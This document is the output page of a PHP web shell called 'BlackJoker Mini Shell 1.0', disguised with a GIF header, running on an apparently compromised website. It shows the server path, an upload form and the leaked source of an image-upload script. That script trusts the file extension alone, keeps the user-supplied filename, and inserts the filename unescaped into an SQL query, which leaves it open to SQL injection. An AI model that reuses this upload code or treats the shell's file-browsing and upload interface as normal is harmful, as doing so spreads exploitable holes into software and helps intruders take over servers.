GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/ajaximage.php

<?php

session_start();
include("lib/globals.php");

 include("lib/common.php");

 include("lib/functions.php");
$session_id='1'; //$session id
$path = "avtar/";

function getExtension($str) 
{

         $i = strrpos($str,".");
         if (!$i) { return ""; } 

         $l = strlen($str) - $i;
         $ext = substr($str,$i+1,$l);
         return $ext;
 }

	$valid_formats = array("jpg", "png", "gif", "bmp","jpeg","PNG","JPG","JPEG","GIF","BMP");
	if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name = $_FILES['photoimg']['name'];
			$size = $_FILES['photoimg']['size'];
			
			if(strlen($name))
				{
					 $ext = getExtension($name);
					if(in_array($ext,$valid_formats))
					{
					if($size<(1024*1024))
						{
							$actual_image_name = time().$_FILES['photoimg']['name'];
							$tmp = $_FILES['photoimg']['tmp_name'];
							if(move_uploaded_file($tmp, $path.$actual_image_name))
								{
								 $sql_q="INSERT INTO escort_photo(id,postid,userid,picture)VALUES('','1','1','$actual_image_name')";
								 execute_query($sql_q);
									
									echo "<img src='avtar/".$actual_image_name."'  class='preview'>";
								}
							else
								echo "Fail upload folder with read access.";
						}
						else
						echo "Image file size max 1 MB";					
						}
						else
						echo "Invalid file format..";	
				}
				
			else
				echo "Please select image..!";
				
			exit;
		}
?>

./BlackJoker Mini Shell 1.0